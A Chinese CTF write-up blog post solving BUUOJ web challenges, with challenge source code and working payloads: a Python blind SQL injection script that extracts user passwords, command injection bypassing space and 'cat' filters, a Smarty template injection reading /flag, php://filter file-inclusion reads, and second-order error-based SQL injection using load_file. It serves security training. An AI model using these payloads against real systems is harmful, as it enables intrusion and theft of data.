buuoj 刷题记录(二)

[TOC]

[CISCN2019 总决赛 Day2 Web1]Easyweb

考点:盲注,文件上传
查看robots.txt:

1
2
User-agent: *
Disallow: *.php.bak

抓包过程发现user.phpimage.php,于是下载源码,查看image.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

GET请求id和path参数时首先经过addslashes()函数转义,在单引号,双引号,反斜杠和NULL前面加上反斜杠“\”,
然后再经过str_replace()函数把"\\0","%00","\\'","'"中的任意一个替换为空,
下面的select语句构造sql注入,传入的值为

1
id=\0&path= or 1=1%23

经过addslashes()处理之后select语句就变成了

* from images where id
1
2
再经过str_replace()函数处理之后变成了
```select * from images where id='\' or path=' or 1=1%23'");

构造成功,盲注python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = 'http://a9d9fc32-9b43-4a17-8c8b-d137102a6211.node3.buuoj.cn/image.php'

flag = ''
for i in range(1,100):
for j in range(32,128):
# payload = '?id=%5C0%27&path=%20or%20if(ascii(mid(database(),{},1))={},1,0)%23'.format(i,j)
# 数据库: ciscnfinal
# payload = "?id=%5C0%27&path=%20or%20if(ascii(mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x636973636e66696e616c),{},1))={},1,0)%23".format(i,j)
# 表名: images,users
#payload = "?id=%5C0%27&path=%20or%20if(ascii(mid((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273),{},1))={},1,0)%23".format(i,j)
# users列名: username,password
payload = "?id=%5C0&path=%20or%20if(ascii(mid((select%20group_concat(password)%20from%20users),{},1))={},1,0)%23".format(i,j)
# passwor: b5fef2a49e1cee3ee711
r = requests.get(url+payload)
#print(url + path)
if len(r.text)>10000:
flag += chr(j)
print(flag)
break
if(j==127):
break
print(flag)

得到账号和密码登陆,是一个上传界面
上传文件之后把上传日志记录到一个php文件,而没有给出文件路径,考虑文件名注入一句话,php被过滤,选择<?= ?>标签,即可,flag在根目录。

[BSidesCF 2019]Futurella

f12一键获取flag。

[WUSTCTF2020]朴实无华

考点:php弱类型,命令注入
查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

一共有三层,第一层利用php弱类型,即可绕过

1
2
intval('2e4')=2
intval('2e4'+1)=20001

第二层也是弱类型,找到一个0e开头的字符串,其md5值也是0e开头的字符串即可绕过,写个脚本跑一下就出来了。
第三层是执行命令,不能有空格和cat,空格用$IFS$9替换,cat用tac替换,然后读取flag。

[CISCN2019 华东南赛区]Web11

考点:ssti模板注入

打开页面发现页面会记录IP地址,第一时间想到存在XFF头注入,又看到提示Smarty,是模板注入了,抓包然后测试:

当输入{1+1}的时候,显示2。看了看别人的writeup,
smarty中的{if}标签中可以执行php语句,得flag:

1
{if readfile('/flag')}{/if}

[BSidesCF 2020]Had a bad day

考点:文件包含

进入页面两个按钮,随便点一个,出来一张图片,发现url变成了这样:

1
http://e7a037d7-b95d-419a-ae85-6f3acf5e0ea5.node3.buuoj.cn/index.php?category=woofers

把woofers改为index发现不行,然后改为index woofer出现报错信息:

可以发现include语句是这样的,获取url中的category参数然后拼接.php,然后包含这个php文件,尝试用伪协议读取文件:

1
?category=php://filter/convert.base64-encode/resource=index

base64解码得到index.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$file = $_GET['category'];

if(isset($file)){
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

参数中必须包含index,woofers,meowers中的一个,然后这样刚好读到flag。

1
?category=php://filter/convert.base64-encode/resource=index/../flag

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

这道题真坑啊,进页面是几个输入框,各种提交,查询,修改,删除的功能,然后我在查询那里试了半天,试出一个异或注入,爆出数据库名后,没想到查表得时候发现select什么的都给ban了,也没法绕过,结果没办法,只能找其他方法了。

在主页有一个文件包含,用伪协议读取到所有文件的源码,源码就不一一放出来了,看两个比较重要的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//confirm.php
<?php
require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>

从上面可以看到,对传入的user_namephone进行了严格的过滤,但是对```address``却没有做过滤,再看看另一个文件,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//change.php
<?php
require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

这里对刚刚传入的address参数没有做任何处理就放进了数据表中,那么我们只要在原始传入带有sql注入的address参数,然后在这个页面发起请求,那个sql语句就会被触发,然后就可以成功执行sql注入。
思路有了以后,构造payload,这里用的是报错注入:

1
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

直接读取显示不全,分两段读取payload:

1
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#

然后就得到flag了。

[WesternCTF2018]shrine